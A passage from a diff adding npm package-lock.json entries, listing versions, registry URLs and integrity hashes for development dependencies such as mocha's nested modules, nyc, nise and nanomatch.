"sha512-ekGhOnNVPgT77r4K/U3GDhu+FQ2S8TnK/s2KbIGXi0SZWuwkZ2QNyfWdZW+TVfn84DpEP7rLeCt2UI6bJ8GwbQ==", + "dev": true, + "dependencies": { + "anymatch": "~3.1.2", + "braces": "~3.0.2", + "glob-parent": "~5.1.2", + "is-binary-path": "~2.1.0", + "is-glob": "~4.0.1", + "normalize-path": "~3.0.0", + "readdirp": "~3.6.0" + }, + "engines": { + "node": ">= 8.10.0" + }, + "optionalDependencies": { + "fsevents": "~2.3.2" + } + }, + "node_modules/mocha/node_modules/debug": { + "version": "4.3.2", + "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.2.tgz", + "integrity": "sha512-mOp8wKcvj7XxC78zLgw/ZA+6TSgkoE2C/ienthhRD298T7UNwAg9diBpLRxC0mOezLl4B0xV7M0cCO6P/O0Xhw==", + "dev": true, + "dependencies": { + "ms": "2.1.2" + }, + "engines": { + "node": ">=6.0" + }, + "peerDependenciesMeta": { + "supports-color": { + "optional": true + } + } + }, + "node_modules/mocha/node_modules/debug/node_modules/ms": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", + "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==", + "dev": true + }, + "node_modules/mocha/node_modules/fill-range": { + "version": "7.0.1", + "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-7.0.1.tgz", + "integrity": "sha512-qOo9F+dMUmC2Lcb4BbVvnKJxTPjCm+RRpe4gDuGrzkL7mEVl/djYSu2OdQ2Pa302N4oqkSg9ir6jaLWJ2USVpQ==", + "dev": true, + "dependencies": { + "to-regex-range": "^5.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/mocha/node_modules/fsevents": { + "version": "2.3.2", + "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.3.2.tgz", + "integrity": "sha512-xiqMQR4xAeHTuB9uWm+fFRcIOgKBMiOBP+eXiyT7jsgVCq1bkVygt00oASowB7EdtpOHaaPgKt812P9ab+DDKA==", + "dev": true, + "hasInstallScript": true, + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": "^8.16.0 || ^10.6.0 || >=11.0.0" + } + }, + "node_modules/mocha/node_modules/glob-parent": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-5.1.2.tgz", + "integrity": "sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==", + "dev": true, + "dependencies": { + "is-glob": "^4.0.1" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/mocha/node_modules/is-binary-path": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/is-binary-path/-/is-binary-path-2.1.0.tgz", + "integrity": "sha512-ZMERYes6pDydyuGidse7OsHxtbI7WVeUEozgR/g7rd0xUimYNlvZRE/K2MgZTjWy725IfelLeVcEM97mmtRGXw==", + "dev": true, + "dependencies": { + "binary-extensions": "^2.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/mocha/node_modules/is-number": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/is-number/-/is-number-7.0.0.tgz", + "integrity": "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==", + "dev": true, + "engines": { + "node": ">=0.12.0" + } + }, + "node_modules/mocha/node_modules/minimatch": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.0.4.tgz", + "integrity": "sha512-yJHVQEhyqPLUTgt9B83PXu6W3rx4MvvHvSUvToogpwoGDOUQ+yDrR0HRot+yOCdCO7u4hX3pWft6kWBBcqh0UA==", + "dev": true, + "dependencies": { + "brace-expansion": "^1.1.7" + }, + "engines": { + "node": "*" + } + }, + "node_modules/mocha/node_modules/ms": { + "version": "2.1.3", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz", + "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==", + "dev": true + }, + "node_modules/mocha/node_modules/readdirp": { + "version": "3.6.0", + "resolved": "https://registry.npmjs.org/readdirp/-/readdirp-3.6.0.tgz", + "integrity": "sha512-hOS089on8RduqdbhvQ5Z37A0ESjsqz6qnRcffsMU3495FuTdqSm+7bhJ29JvIOsBDEEnan5DPu9t3To9VRlMzA==", + "dev": true, + "dependencies": { + "picomatch": "^2.2.1" + }, + "engines": { + "node": ">=8.10.0" + } + }, + "node_modules/mocha/node_modules/supports-color": { + "version": "8.1.1", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-8.1.1.tgz", + "integrity": "sha512-MpUEN2OodtUzxvKQl72cUF7RQ5EiHsGvSsVG0ia9c5RbWGL2CI4C7EpPS8UTBIplnlzZiNuV56w+FuNxy3ty2Q==", + "dev": true, + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/supports-color?sponsor=1" + } + }, + "node_modules/mocha/node_modules/to-regex-range": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz", + "integrity": "sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==", + "dev": true, + "dependencies": { + "is-number": "^7.0.0" + }, + "engines": { + "node": ">=8.0" + } + }, + "node_modules/mocha/node_modules/yargs": { + "version": "16.2.0", + "resolved": "https://registry.npmjs.org/yargs/-/yargs-16.2.0.tgz", + "integrity": "sha512-D1mvvtDG0L5ft/jGWkLpG1+m0eQxOfaBvTNELraWj22wSVUMWxZUvYgJYcKh6jGGIkJFhH4IZPQhR4TKpc8mBw==", + "dev": true, + "dependencies": { + "cliui": "^7.0.2", + "escalade": "^3.1.1", + "get-caller-file": "^2.0.5", + "require-directory": "^2.1.1", + "string-width": "^4.2.0", + "y18n": "^5.0.5", + "yargs-parser": "^20.2.2" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/ms": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", + "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==", + "dev": true + }, + "node_modules/mute-stdout": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/mute-stdout/-/mute-stdout-1.0.1.tgz", + "integrity": "sha512-kDcwXR4PS7caBpuRYYBUz9iVixUk3anO3f5OYFiIPwK/20vCzKCHyKoulbiDY1S53zD2bxUpxN/IJ+TnXjfvxg==", + "dev": true, + "engines": { + "node": ">= 0.10" + } + }, + "node_modules/mz": { + "version": "2.7.0", + "resolved": "https://registry.npmjs.org/mz/-/mz-2.7.0.tgz", + "integrity": "sha512-z81GNO7nnYMEhrGh9LeymoE4+Yr0Wn5McHIZMK5cfQCl+NDX08sCZgUc9/6MHni9IWuFLm1Z3HTCXu2z9fN62Q==", + "dev": true, + "dependencies": { + "any-promise": "^1.0.0", + "object-assign": "^4.0.1", + "thenify-all": "^1.0.0" + } + }, + "node_modules/nan": { + "version": "2.17.0", + "resolved": "https://registry.npmjs.org/nan/-/nan-2.17.0.tgz", + "integrity": "sha512-2ZTgtl0nJsO0KQCjEpxcIr5D+Yv90plTitZt9JBfQvVJDS5seMl3FOvsh3+9CoYWXf/1l5OaZzzF6nDm4cagaQ==", + "dev": true, + "optional": true + }, + "node_modules/nanoid": { + "version": "3.1.25", + "resolved": "https://registry.npmjs.org/nanoid/-/nanoid-3.1.25.tgz", + "integrity": "sha512-rdwtIXaXCLFAQbnfqDRnI6jaRHp9fTcYBjtFKE8eezcZ7LuLjhUaQGNeMXf1HmRoCH32CLz6XwX0TtxEOS/A3Q==", + "dev": true, + "bin": { + "nanoid": "bin/nanoid.cjs" + }, + "engines": { + "node": "^10 || ^12 || ^13.7 || ^14 || >=15.0.1" + } + }, + "node_modules/nanomatch": { + "version": "1.2.13", + "resolved": "https://registry.npmjs.org/nanomatch/-/nanomatch-1.2.13.tgz", + "integrity": "sha512-fpoe2T0RbHwBTBUOftAfBPaDEi06ufaUai0mE6Yn1kacc3SnTErfb/h+X94VXzI64rKFHYImXSvdwGGCmwOqCA==", + "dev": true, + "dependencies": { + "arr-diff": "^4.0.0", + "array-unique": "^0.3.2", + "define-property": "^2.0.2", + "extend-shallow": "^3.0.2", + "fragment-cache": "^0.2.1", + "is-windows": "^1.0.2", + "kind-of": "^6.0.2", + "object.pick": "^1.3.0", + "regex-not": "^1.0.0", + "snapdragon": "^0.8.1", + "to-regex": "^3.0.1" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/nanomatch/node_modules/define-property": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/define-property/-/define-property-2.0.2.tgz", + "integrity": "sha512-jwK2UV4cnPpbcG7+VRARKTZPUWowwXA8bzH5NP6ud0oeAxyYPuGZUAC7hMugpCdz4BeSZl2Dl9k66CHJ/46ZYQ==", + "dev": true, + "dependencies": { + "is-descriptor": "^1.0.2", + "isobject": "^3.0.1" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/nanomatch/node_modules/extend-shallow": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-3.0.2.tgz", + "integrity": "sha512-BwY5b5Ql4+qZoefgMj2NUmx+tehVTH/Kf4k1ZEtOHNFcm2wSxMRo992l6X3TIgni2eZVTZ85xMOjF31fwZAj6Q==", + "dev": true, + "dependencies": { + "assign-symbols": "^1.0.0", + "is-extendable": "^1.0.1" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/nanomatch/node_modules/is-accessor-descriptor": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-1.0.0.tgz", + "integrity": "sha512-m5hnHTkcVsPfqx3AKlyttIPb7J+XykHvJP2B9bZDjlhLIoEq4XoK64Vg7boZlVWYK6LUY94dYPEE7Lh0ZkZKcQ==", + "dev": true, + "dependencies": { + "kind-of": "^6.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/nanomatch/node_modules/is-data-descriptor": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-1.0.0.tgz", + "integrity": "sha512-jbRXy1FmtAoCjQkVmIVYwuuqDFUbaOeDjmed1tOGPrsMhtJA4rD9tkgA0F1qJ3gRFRXcHYVkdeaP50Q5rE/jLQ==", + "dev": true, + "dependencies": { + "kind-of": "^6.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/nanomatch/node_modules/is-descriptor": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-1.0.2.tgz", + "integrity": "sha512-2eis5WqQGV7peooDyLmNEPUrps9+SXX5c9pL3xEB+4e9HnGuDa7mB7kHxHw4CbqS9k1T2hOH3miL8n8WtiYVtg==", + "dev": true, + "dependencies": { + "is-accessor-descriptor": "^1.0.0", + "is-data-descriptor": "^1.0.0", + "kind-of": "^6.0.2" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/nanomatch/node_modules/is-extendable": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/is-extendable/-/is-extendable-1.0.1.tgz", + "integrity": "sha512-arnXMxT1hhoKo9k1LZdmlNyJdDDfy2v0fXjFlmok4+i8ul/6WlbVge9bhM74OpNPQPMGUToDtz+KXa1PneJxOA==", + "dev": true, + "dependencies": { + "is-plain-object": "^2.0.4" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/natural-compare": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/natural-compare/-/natural-compare-1.4.0.tgz", + "integrity": "sha512-OWND8ei3VtNC9h7V60qff3SVobHr996CTwgxubgyQYEpg290h9J0buyECNNJexkFm5sOajh5G116RYA1c8ZMSw==", + "dev": true + }, + "node_modules/neo-async": { + "version": "2.6.2", + "resolved": "https://registry.npmjs.org/neo-async/-/neo-async-2.6.2.tgz", + "integrity": "sha512-Yd3UES5mWCSqR+qNT93S3UoYUkqAZ9lLg8a7g9rimsWmYGK8cVToA4/sF3RrshdyV3sAGMXVUmpMYOw+dLpOuw==", + "dev": true, + "peer": true + }, + "node_modules/next-tick": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/next-tick/-/next-tick-1.1.0.tgz", + "integrity": "sha512-CXdUiJembsNjuToQvxayPZF9Vqht7hewsvy2sOWafLvi2awflj9mOC6bHIg50orX8IJvWKY9wYQ/zB2kogPslQ==", + "dev": true + }, + "node_modules/nise": { + "version": "5.1.4", + "resolved": "https://registry.npmjs.org/nise/-/nise-5.1.4.tgz", + "integrity": "sha512-8+Ib8rRJ4L0o3kfmyVCL7gzrohyDe0cMFTBa2d364yIrEGMEoetznKJx899YxjybU6bL9SQkYPSBBs1gyYs8Xg==", + "dev": true, + "dependencies": { + "@sinonjs/commons": "^2.0.0", + "@sinonjs/fake-timers": "^10.0.2", + "@sinonjs/text-encoding": "^0.7.1", + "just-extend": "^4.0.2", + "path-to-regexp": "^1.7.0" + } + }, + "node_modules/nise/node_modules/@sinonjs/commons": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/@sinonjs/commons/-/commons-2.0.0.tgz", + "integrity": "sha512-uLa0j859mMrg2slwQYdO/AkrOfmH+X6LTVmNTS9CqexuE2IvVORIkSpJLqePAbEnKJ77aMmCwr1NUZ57120Xcg==", + "dev": true, + "dependencies": { + "type-detect": "4.0.8" + } + }, + "node_modules/nise/node_modules/@sinonjs/fake-timers": { + "version": "10.3.0", + "resolved": "https://registry.npmjs.org/@sinonjs/fake-timers/-/fake-timers-10.3.0.tgz", + "integrity": "sha512-V4BG07kuYSUkTCSBHG8G8TNhM+F19jXFWnQtzj+we8DrkpSBCee9Z3Ms8yiGer/dlmhe35/Xdgyo3/0rQKg7YA==", + "dev": true, + "dependencies": { + "@sinonjs/commons": "^3.0.0" + } + }, + "node_modules/nise/node_modules/@sinonjs/fake-timers/node_modules/@sinonjs/commons": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/@sinonjs/commons/-/commons-3.0.0.tgz", + "integrity": "sha512-jXBtWAF4vmdNmZgD5FoKsVLv3rPgDnLgPbU84LIJ3otV44vJlDRokVng5v8NFJdCf/da9legHcKaRuZs4L7faA==", + "dev": true, + "dependencies": { + "type-detect": "4.0.8" + } + }, + "node_modules/no-case": { + "version": "2.3.2", + "resolved": "https://registry.npmjs.org/no-case/-/no-case-2.3.2.tgz", + "integrity": "sha512-rmTZ9kz+f3rCvK2TD1Ue/oZlns7OGoIWP4fc3llxxRXlOkHKoWPPWJOfFYpITabSow43QJbRIoHQXtt10VldyQ==", + "dev": true, + "dependencies": { + "lower-case": "^1.1.1" + } + }, + "node_modules/node-preload": { + "version": "0.2.1", + "resolved": "https://registry.npmjs.org/node-preload/-/node-preload-0.2.1.tgz", + "integrity": "sha512-RM5oyBy45cLEoHqCeh+MNuFAxO0vTFBLskvQbOKnEE7YTTSN4tbN8QWDIPQ6L+WvKsB/qLEGpYe2ZZ9d4W9OIQ==", + "dev": true, + "dependencies": { + "process-on-spawn": "^1.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/node-releases": { + "version": "2.0.13", + "resolved": "https://registry.npmjs.org/node-releases/-/node-releases-2.0.13.tgz", + "integrity": "sha512-uYr7J37ae/ORWdZeQ1xxMJe3NtdmqMC/JZK+geofDrkLUApKRHPd18/TxtBOJ4A0/+uUIliorNrfYV6s1b02eQ==", + "dev": true + }, + "node_modules/normalize-package-data": { + "version": "2.5.0", + "resolved": "https://registry.npmjs.org/normalize-package-data/-/normalize-package-data-2.5.0.tgz", + "integrity": "sha512-/5CMN3T0R4XTj4DcGaexo+roZSdSFW/0AOOTROrjxzCG1wrWXEsGbRKevjlIL+ZDE4sZlJr5ED4YW0yqmkK+eA==", + "dev": true, + "dependencies": { + "hosted-git-info": "^2.1.4", + "resolve": "^1.10.0", + "semver": "2 || 3 || 4 || 5", + "validate-npm-package-license": "^3.0.1" + } + }, + "node_modules/normalize-package-data/node_modules/semver": { + "version": "5.7.2", + "resolved": "https://registry.npmjs.org/semver/-/semver-5.7.2.tgz", + "integrity": "sha512-cBznnQ9KjJqU67B52RMC65CMarK2600WFnbkcaiwWq3xy/5haFJlshgnpjovMVJ+Hff49d8GEn0b87C5pDQ10g==", + "dev": true, + "bin": { + "semver": "bin/semver" + } + }, + "node_modules/normalize-path": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/normalize-path/-/normalize-path-3.0.0.tgz", + "integrity": "sha512-6eZs5Ls3WtCisHWp9S2GUy8dqkpGi4BVSz3GaqiE6ezub0512ESztXUwUB6C6IKbQkY2Pnb/mD4WYojCRwcwLA==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/normalize-range": { + "version": "0.1.2", + "resolved": "https://registry.npmjs.org/normalize-range/-/normalize-range-0.1.2.tgz", + "integrity": "sha512-bdok/XvKII3nUpklnV6P2hxtMNrCboOjAcyBuQnWEhO665FwrSNRxU+AqpsyvO6LgGYPspN+lu5CLtw4jPRKNA==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/now-and-later": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/now-and-later/-/now-and-later-2.0.1.tgz", + "integrity": "sha512-KGvQ0cB70AQfg107Xvs/Fbu+dGmZoTRJp2TaPwcwQm3/7PteUyN2BCgk8KBMPGBUXZdVwyWS8fDCGFygBm19UQ==", + "dev": true, + "dependencies": { + "once": "^1.3.2" + }, + "engines": { + "node": ">= 0.10" + } + }, + "node_modules/number-is-nan": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/number-is-nan/-/number-is-nan-1.0.1.tgz", + "integrity": "sha512-4jbtZXNAsfZbAHiiqjLPBiCl16dES1zI4Hpzzxw61Tk+loF+sBDBKx1ICKKKwIqQ7M0mFn1TmkN7euSncWgHiQ==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/nwsapi": { + "version": "2.2.7", + "resolved": "https://registry.npmjs.org/nwsapi/-/nwsapi-2.2.7.tgz", + "integrity": "sha512-ub5E4+FBPKwAZx0UwIQOjYWGHTEq5sPqHQNRN8Z9e4A7u3Tj1weLJsL59yH9vmvqEtBHaOmT6cYQKIZOxp35FQ==", + "dev": true + }, + "node_modules/nyc": { + "version": "15.1.0", + "resolved": "https://registry.npmjs.org/nyc/-/nyc-15.1.0.tgz", + "integrity": "sha512-jMW04n9SxKdKi1ZMGhvUTHBN0EICCRkHemEoE5jm6mTYcqcdas0ATzgUgejlQUHMvpnOZqGB5Xxsv9KxJW1j8A==", + "dev": true, + "dependencies": { + "@istanbuljs/load-nyc-config": "^1.0.0", + "@istanbuljs/schema": "^0.1.2", + "caching-transform": "^4.0.0", + "convert-source-map": "^1.7.0", + "decamelize": "^1.2.0", + "find-cache-dir": "^3.2.0", + "find-up": "^4.1.0", + "foreground-child": "^2.0.0", + "get-package-type": "^0.1.0", + "glob": "^7.1.6", + "istanbul-lib-coverage": "^3.0.0", + "istanbul-lib-hook": "^3.0.0", + "istanbul-lib-instrument": "^4.0.0", + "istanbul-lib-processinfo": "^2.0.2", + "istanbul-lib-report": "^3.0.0", + "istanbul-lib-source-maps": "^4.0.0", + "istanbul-reports": "^3.0.2", + "make-dir": "^3.0.0", + "node-preload": "^0.2.1", + "p-map": "^3.0.0", + "process-on-spawn": "^1.0.0", + "resolve-from": "^5.0.0", + "rimraf": "^3.0.0", + "signal-exit": "^3.0.2", + "spawn-wrap": "^2.0.0", + "test-exclude": "^6.0.0", + "yargs": "^15.0.2" + }, + "bin": { + "nyc": "bin/nyc.js" + }, + "engines": { + "node": ">=8.9" + } + }, + "node_modules/nyc/node_modules/cliui": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/cliui/-/cliui-6.0.0.tgz", + "integrity": "sha512-t6wbgtoCXvAzst7QgXxJYqPt0usEfbgQdftEPbLL/cvv6HPE5VgvqCuAIDR0NgU52ds6rFwqrgakNLrHEjCbrQ==", + "dev": true, + "dependencies": { + "string-width": "^4.2.0", + "strip-ansi": "^6.0.0", + "wrap-ansi": "^6.2.0" + } + }, + "node_modules/nyc/node_modules/find-cache-dir": { + "version": "3.3.2", + "resolved": "https://registry.npmjs.org/find-cache-dir/-/find-cache-dir-3.3.2.tgz", + "integrity": "sha512-wXZV5emFEjrridIgED11OoUKLxiYjAcqot/NJdAkOhlJ+vGzwhOAfcG5OX1jP+S0PcjEn8bdMJv+g2jwQ3Onig==", + "dev": true, + "dependencies": { + "commondir": "^1.0.1", + "make-dir": "^3.0.2", + "pkg-dir": "^4.1.0" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/avajs/find-cache-dir?sponsor=1" + } + }, + "node_modules/nyc/node_modules/find-up": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/find-up/-/find-up-4.1.0.tgz", + "integrity": "sha512-PpOwAdQ/YlXQ2vj8a3h8IipDuYRi3wceVQQGYWxNINccq40Anw7BlsEXCMbt1Zt+OLA6Fq9suIpIWD0OsnISlw==", + "dev": true, + "dependencies": { + "locate-path": "^5.0.0", + "path-exists": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/nyc/node_modules/locate-path": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-5.0.0.tgz", + "integrity": "sha512-t7hw9pI+WvuwNJXwk5zVHpyhIqzg2qTlklJOf0mVxGSbe3Fp2VieZcduNYjaLDoy6p9uGpQEGWG87WpMKlNq8g==", + "dev": true, + "dependencies": { + "p-locate": "^4.1.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/nyc/node_modules/make-dir": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/make-dir/-/make-dir-3.1.0.tgz", + "integrity": "sha512-g3FeP20LNwhALb/6Cz6Dd4F2ngze0jz7tbzrD2wAV+o9FeNHe4rL+yK2md0J/fiSf1sa1ADhXqi5+oVwOM/eGw==", + "dev": true, + "dependencies": { + "semver": "^6.0.0" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/nyc/node_modules/p-limit": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-2.3.0.tgz", + "integrity": "sha512-//88mFWSJx8lxCzwdAABTJL2MyWB12+eIY7MDL2SqLmAkeKU9qxRvWuSyTjm3FUmpBEMuFfckAIqEaVGUDxb6w==", + "dev": true, + "dependencies": { + "p-try": "^2.0.0" + }, + "engines": { + "node": ">=6" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/nyc/node_modules/p-locate": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-4.1.0.tgz", + "integrity": "sha512-R79ZZ/0wAxKGu3oYMlz8jy/kbhsNrS7SKZ7PxEHBgJ5+F2mtFW2fK2cOtBh1cHYkQsbzFV7I+EoRKe6Yt0oK7A==", + "dev": true, + "dependencies": { + "p-limit": "^2.2.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/nyc/node_modules/p-map": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/p-map/-/p-map-3.0.0.tgz", + "integrity": "sha512-d3qXVTF/s+W+CdJ5A29wywV2n8CQQYahlgz2bFiA+4eVNJbHJodPZ+/gXwPGh0bOqA+j8S+6+ckmvLGPk1QpxQ==", + "dev": true, + "dependencies": { + "aggregate-error": "^3.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/nyc/node_modules/pkg-dir": { + "version": "4.2.0", + "resolved": "https://registry.npmjs.org/pkg-dir/-/pkg-dir-4.2.0.tgz", + "integrity": "sha512-HRDzbaKjC+AOWVXxAU/x54COGeIv9eb+6CkDSQoNTt4XyWoIJvuPsXizxu/Fr23EiekbtZwmh1IcIG/l/a10GQ==", + "dev": true, + "dependencies": { + "find-up": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/nyc/node_modules/require-main-filename": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/require-main-filename/-/require-main-filename-2.0.0.tgz", + "integrity": "sha512-NKN5kMDylKuldxYLSUfrbo5Tuzh4hd+2E8NPPX02mZtn1VuREQToYe/ZdlJy+J3uCpfaiGF05e7B8W0iXbQHmg==", + "dev": true + }, + "node_modules/nyc/node_modules/resolve-from": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/resolve-from/-/resolve-from-5.0.0.tgz", + "integrity": "sha512-qYg9KP24dD5qka9J47d0aVky0N+b4fTU89LN9iDnjB5waksiC49rvMB0PrUJQGoTmH50XPiqOvAjDfaijGxYZw==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/nyc/node_modules/which-module": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/which-module/-/which-module-2.0.1.tgz", + "integrity": "sha512-iBdZ57RDvnOR9AGBhML2vFZf7h8vmBjhoaZqODJBFWHVtKkDmKuHai3cx5PgVMrX5YDNp27AofYbAwctSS+vhQ==", + "dev": true + }, + "node_modules/nyc/node_modules/wrap-ansi": { + "version": "6.2.0", + "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-6.2.0.tgz", + "integrity": "sha512-r6lPcBGxZXlIcymEu7InxDMhdW0KDxpLgoFLcguasxCaJ/SOIZwINatK9KY/tf+ZrlywOKU0UDj3ATXUBfxJXA==", + "dev": true, + "dependencies": { + "ansi-styles": "^4.0.0", + "string-width": "^4.1.0", + "strip-ansi": "^6.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/nyc/node_modules/y18n": { + "version": "4.0.3", + "resolved": "https://registry.npmjs.org/y18n/-/y18n-4.0.3.tgz", + "integrity": "sha512-JKhqTOwSrqNA1NY5lSztJ1GrBiUodLMmIZuLiDaMRJ+itFd+ABVE8XBjOvIWL+rSqNDC74LCSFmlb/U4UZ4hJQ==", + "dev": true + }, + "node_modules/nyc/node_modules/yargs": { + "version": "15.4.1", + "resolved": "https://registry.npmjs.org/yargs/-/yargs-15.4.1.tgz", + "integrity": "sha512-aePbxDmcYW++PaqBsJ+HYUFwCdv4LVvdnhBy78E57PIor8/OVvhMrADFFEDh8DHDFRv/O9i3lPhsENjO7QX0+A==", + "dev": true, + "dependencies": { + "cliui": "^6.0.0", + "decamelize": "^1.2.0", + "find-up": "^4.1.0", + "get-caller-file": "^2.0.1", + "require-directory": "^2.1.1", + "require-main-filename": "^2.0.0", + "set-blocking": "^2.0.0", + "string-width": "^4.2.0", + "which-module": "^2.0.0", + "y18n": "^4.0.0", + "yargs-parser": "^18.1.2" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/nyc/node_modules/yargs-parser": { + "version": "18.1.3", + "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-18.1.3.tgz", + "integrity": "sha512-o50j0JeToy/4K6OZcaQmW6lyXXKhq7csREXcDwk2omFPJEwUNOVtJKvmDr9EI1fAJZUyZcRF7kxGBWmRXudrCQ==", + "dev": true, + "dependencies": { + "camelcase": "^5.0.0", + "decamelize": "^1.2.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/object-assign": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/object-assign/-/object-assign-4.1.1.tgz", + "integrity": "sha512-rJgTQnkUnH1sFw8yT6VSU3zD3sWmu6sZhIseY8VX+GRu3P6F7Fu+JNDoXfklElbLJSnc3FUQHVe4cU5hj+BcUg==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/object-copy": { + "version": "0.1.0", + "resolved": "https://registry.npmjs.org/object-copy/-/object-copy-0.1.0.tgz", + "integrity": "sha512-79LYn6VAb63zgtmAteVOWo9Vdj71ZVBy3Pbse+VqxDpEP83XuujMrGqHIwAXJ5I/aM0zU7dIyIAhifVTPrNItQ==", + "dev": true, + "dependencies": { + "copy-descriptor": "^0.1.0", + "define-property": "^0.2.5", + "kind-of": "^3.0.3" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/object-copy/node_modules/kind-of": { + "version": "3.2.2", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz", + "integrity": "sha512-NOW9QQXMoZGg/oqnVNoNTTIFEIid1627WCffUBJEdMxYApq7mNE7CpzucIPc+ZQg25Phej7IJSmX3hO+oblOtQ==", + "dev": true, + "dependencies": { + "is-buffer": "^1.1.5" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/object-hash": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/object-hash/-/object-hash-3.0.0.tgz", + "integrity": "sha512-RSn9F68PjH9HqtltsSnqYC1XXoWe9Bju5+213R98cNGttag9q9yAOTzdbsqvIa7aNm5WffBZFpWYr2aWrklWAw==", + "dev": true, + "engines": { + "node": ">= 6" + } + }, + "node_modules/object-keys": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/object-keys/-/object-keys-1.1.1.tgz", + "integrity": 